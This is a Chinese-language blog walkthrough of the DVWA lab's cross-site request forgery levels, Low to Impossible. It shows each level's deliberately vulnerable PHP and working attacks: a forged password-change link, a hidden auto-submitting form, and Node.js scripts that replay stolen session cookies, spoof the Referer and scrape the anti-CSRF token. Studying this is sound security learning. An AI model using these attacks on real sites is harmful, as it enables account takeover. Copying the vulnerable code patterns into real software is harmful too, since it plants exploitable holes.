1. 背景
最近需要補充一下網絡安全方面的知識,於是就從基礎的靶場 DVWA (Damn Vulnerable Web Application)
開始刷起,這一篇是關於從Low
到High
難度的跨站請求僞造的內容。
和我一樣希望學習網絡安全知識的同學,推薦學習《Web安全攻防實戰》和《安全攻防技能30講》。
2. 環境搭建
參考上一篇關於 Brute Force 暴力破解密碼的博客。
3. 跨站請求僞造
我們需要在用戶不知情的情況下改掉用戶的密碼。
3.1. Low
先看源碼,Low
難度沒有設置任何請求來源的校驗。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
只需要讓他人點擊下面的鏈接,密碼就修改成功了。
http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/?password_new=hackerPassword&password_conf=hackerPassword&Change=Change#
不過這個鏈接太明顯了,我們也可以構造一個頁面放在自己的服務器上。
<!-- index.html -->
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8"> <!-- for HTML5 -->
<style>
div {
text-align: center;
}
</style>
</head>
<body>
<div>
<p>
頁面跳轉中,請稍候。。。
</p>
<style>
form {
display: none;
}
</style>
<form action="http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/"
method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new" value="hackerPassword"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="hackerPassword"><br />
<br />
<input type="submit" id="button" name="Change" value="Change" />
</form>
<script>
document.getElementById("button").click();
</script>
</div>
</body>
</html>
點擊以後就會發送請求改變用戶的密碼。
3.2. Medium
接下來是Medium
難度,先看源碼。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
這裏加入了一個來源的校驗,我們可以看一看這段代碼的含義
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos
函數:
stripos ( string $haystack , string $needle [, int $offset = 0 ] ) : int
返回在字符串 haystack
中 needle
首次出現的數字位置。
-
$_SERVER
是一個包含了諸如頭信息(header)
、路徑(path)
、以及腳本位置(script locations)
等等信息的數組。這個數組中的項目由Web
服務器創建。 -
HTTP_REFERER
:引導用戶代理到當前頁的前一頁的地址(如果存在)。由user agent
設置決定。並不是所有的用戶代理都會設置該項,有的還提供了修改HTTP_REFERER
的功能。簡言之,該值並不可信。 -
SERVER_NAME
:當前運行腳本所在的服務器的主機名。如果腳本運行於虛擬主機中,該名稱是由那個虛擬主機所設置的值決定。
HTTP_REFERER
不能通過jQuery
請求僞造發送。
使用Ajax
發送請求還會遇到跨域問題。
也就是說,使用前端僞造請求可能會遇到各種障礙,我們就考慮用服務端來僞造請求。而使用服務端的話,我們就需要利用別的漏洞來竊取到用戶的Cookie
。
這裏我們使用DOM XSS來竊取用戶的Cookie
,詳情參考 網絡安全入門之跨站腳本攻擊 DVWA XSS DOM Low to High 這一篇博客。
那麼假設我們現在已經竊取到了用戶的Cookie
"security=medium; PHPSESSID=8jkvdfa07u9jgornta8862b9d0"
在服務端使用Node.js
的request組件
發送HTTP請求。
var request = require('request');
const options = {
url: 'http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/?password_new=hackerPassword&password_conf=hackerPassword&Change=Change#',
method: "GET",
headers: {
"Content-Type": "text/html;charset=utf-8",
Referer: "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud",
Cookie: "security=medium; PHPSESSID=8jkvdfa07u9jgornta8862b9d0"
}
};
function callback(error, response, body) {
if (!error && response.statusCode == 200) {
console.log("Success") // 請求成功的處理邏輯
console.log(body) // 請求成功的處理邏輯
console.log(typeof(body))
} else {
console.log("Error") // 請求失敗的處理邏輯
console.log(error) // 請求失敗的處理邏輯
}
}
var res = request(options, callback);
從返回的HTML
中我們也可以看到,密碼已經成功被我們修改了。
3.3. High
High
難度加入了Anti-CSRF token
。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
不過這裏有一個漏洞,就是token
存在了前端代碼中,這又給了我們竊取token
的機會。
同樣先拿到Cookie
。
"security=high; PHPSESSID=f3klut5ds454k782h5ea0prol5"
使用Node.js
先發送一次請求,拿到token
,然後把token
加入到GET
請求中,再發送一次請求。
const cheerio = require('cheerio')
const request = require('request');
var $;
var tokenThis;
var options = {
url: 'http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/',
method: "GET",
headers: {
"Content-Type": "text/html;charset=utf-8",
Referer: "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud",
Cookie: "security=high; PHPSESSID=f3klut5ds454k782h5ea0prol5"
}
};
function callback(error, response, body) {
if (!error && response.statusCode == 200) {
console.log("Success") // 請求成功的處理邏輯
// 獲取html對象
$ = cheerio.load(JSON.stringify(body))
// 獲取token
tokenThis = $('input[name="user_token"]').attr('value');
console.log(body) // 請求成功的處理邏輯
} else {
console.log("Error") // 請求失敗的處理邏輯
console.log(error) // 請求失敗的處理邏輯
}
}
// 設置第二次請求的參數
function setOpt() {
var options2 = {
url: 'http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/?password_new=hackerPassword&password_conf=hackerPassword&Change=Change&user_token=' +
tokenThis,
method: "GET",
headers: {
"Content-Type": "text/html;charset=utf-8",
Referer: "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud",
Cookie: "security=high; PHPSESSID=f3klut5ds454k782h5ea0prol5"
}
}
return options2
};
// Node.js是異步的,我們這裏需要同步執行所以用到了Promise和then
fn = ()=>{return new Promise(
(resovle, reject) => {
var res = resovle;
request(options, (error, response, body) => {
callback(error, response, body);
res();
});
}
)
}
// 同步
fn().then(
() => {
request(setOpt(), callback);
}
)
修改成功。
3.3. Impossible
Impossible
難度加入了原密碼的校驗,在不知道原密碼的情況下無法對密碼進行修改,這樣是比較安全的。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
聯繫郵箱:[email protected]
CSDN:https://me.csdn.net/qq_41729780
知乎:https://zhuanlan.zhihu.com/c_1225417532351741952
公衆號:複雜網絡與機器學習
歡迎關注/轉載,有問題歡迎通過郵箱交流。